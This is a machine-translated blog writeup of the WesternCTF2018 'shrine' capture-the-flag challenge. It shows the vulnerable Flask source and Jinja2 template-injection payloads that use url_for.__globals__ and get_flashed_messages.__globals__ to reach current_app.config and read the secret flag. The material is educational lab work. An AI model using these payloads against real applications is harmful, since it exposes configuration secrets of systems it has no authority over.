当前位置:网站首页>[WesternCTF2018]shrine writeup
[WesternCTF2018]shrine writeup
2022-07-02 00:57:00 【Shu Tian】
[WesternCTF2018]shrine
The direct thinking is Fancy reading global variables
I gave the source code directly at the beginning
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') //environ Get... In the system FLAG Parameters , write in app.config in
@app.route('/') // visit '/' The code is displayed when the path
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '') // Get rid of ( and )
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
// amount to {
% set config=None%}{
% set self=None%} + s, First the config and self Set to none, Achieve the purpose of disabling functions
return flask.render_template_string(safe_jinja(shrine)) // The vulnerability of template rendering
if __name__ == '__main__':
app.run(debug=True)
ps About os.environ:
OS.ENVIRON() Detailed explanation _Muqingluan
python Get some information about the system
windows:
os.environ[‘HOMEPATH’]: Current user home directory .
os.environ[‘TEMP’]: Temporary directory path .
os.environ[PATHEXT’]: Executable file .
os.environ[‘SYSTEMROOT’]: System home directory .
os.environ[‘LOGONSERVER’]: machine name .
os.environ[‘PROMPT’]: Set prompt .linux:
os.environ[‘USER’]: Current user .
os.environ[‘LC_COLLATE’]: The alphabetical order when sorting the results of path extension .
os.environ[‘SHELL’]: Use shell The type of .
os.environ[‘LAN’]: The language used .
os.environ[‘SSH_AUTH_SOCK’]:ssh Execution path of .
The idea of this problem is to read global variables ( I tried construction ssti Ordered to execute payload, however __subclasses__() When an error , failed
Test it python Of ssti
/shrine/{
{8*9}}

because ''.join(['{ {% set {}=None%}}'.format(c) for c in blacklist]) + s This paragraph , We can't use it directly config Function to see all app.config Content , We have to take advantage of it python Objects to call disabled function objects .
current_app The value of is currently used app, Can pass current_app View the current app Of config
There are two flask Built in functions , Can cooperate with globals() Function to get global variables current_app(url_for and get_flashed_messages)
flask Unique functions in the framework :link
url_for()
url_for Based on the router function name passed in , Return the corresponding URL, Always use in templates url_for() You can safely modify the URL, It's no better than a link that worries about rendering errors in the template :
{ {url_for('home')}} /If we define a route URL With parameters , You can pass them in as key parameters url_for(),Flask They will be filled into the final generated URL in :
{ { url_for('post', post_id=1)}} /post/1get_flashed_messages()
This function will return before flask Pass through flask() List of incoming messages ,flash The function is simple , You can put Python The message represented by string is added to a message queue , Reuse get_flashed_message() Function takes them out and consumes :
{%for message in get_flashed_messages()%} { {message}} {%endfor%}
payload:
/shrine/{
{url_for.__globals__}}
#current_app': <Flask 'app'>

/shrine/{
{url_for.__globals__['current_app'].config}}
perhaps
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}

Reference resources wp:
[WesternCTF2018]shrine - Spring bird
边栏推荐
- JS -- image to base code, base to file object
- Global and Chinese market of safety detection systems 2022-2028: Research Report on technology, participants, trends, market size and share
- DTL dephossite | prediction method of dephosphorylation sites based on Transfer Learning
- Global and Chinese markets for power over Ethernet (POE) solutions 2022-2028: Research Report on technology, participants, trends, market size and share
- Leetcode skimming: binary tree 01 (preorder traversal of binary tree)
- Some understandings of graph convolution neural network r-gcn considering relations and some explanations of DGL official code
- Common loss function of deep learning
- 【八大排序①】插入排序(直接插入排序、希尔排序)
- Bc35 & bc95 onenet mqtt (old)
- JS——图片转base码 、base转File对象
猜你喜欢

测试员8年工资变动,令网友羡慕不已:你一个月顶我一年工资
![[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)](/img/c2/7ebc67e9b886e3baf3c98489bf9bce.png)
[eight sorting ③] quick sorting (dynamic graph deduction Hoare method, digging method, front and back pointer method)

What skills does an excellent software tester need to master?

2022 high altitude installation, maintenance and removal of test question simulation test platform operation

Leetcode skimming: stack and queue 06 (top k high-frequency elements)

Geek DIY open source solution sharing - digital amplitude frequency equalization power amplifier design (practical embedded electronic design works, comprehensive practice of software and hardware)

Xinniuniu blind box wechat applet source code_ Support flow realization, with complete material pictures

Leetcode skimming: stack and queue 05 (inverse Polish expression evaluation)

gradle

Barbie q! How to analyze the new game app?
随机推荐
cookie、session、tooken
使用 ES 实现疫情地图或者外卖点餐功能(含代码及数据)
2022 pinduoduo details / pinduoduo product details / pinduoduo SKU details
Leetcode skimming: stack and queue 02 (realizing stack with queue)
Schrodinger's Japanese learning applet source code
How to reflect and solve the problem of bird flight? Why are planes afraid of birds?
Use es to realize epidemic map or take out order function (including code and data)
export default 导出的对象,不能解构问题,和module.exports的区别
Node——生成微信权限验证配置
【八大排序③】快速排序(动图演绎Hoare法、挖坑法、前后指针法)
[eight sorts ④] merge sort, sort not based on comparison (count sort, cardinal sort, bucket sort)
The 8-year salary change of testers makes netizens envy it: you pay me one year's salary per month
How can entrepreneurial teams implement agile testing to improve quality and efficiency? Voice network developer entrepreneurship lecture Vol.03
AIX存储管理之逻辑卷的创建及属性的查看和修改
工作中非常重要的测试策略,你大概没注意过吧
Global and Chinese market of picture archiving and communication system (PACS) 2022-2028: Research Report on technology, participants, trends, market size and share
449 original code, complement code, inverse code
Leetcode skimming: stack and queue 05 (inverse Polish expression evaluation)
Review notes of compilation principles
Basis of deep learning neural network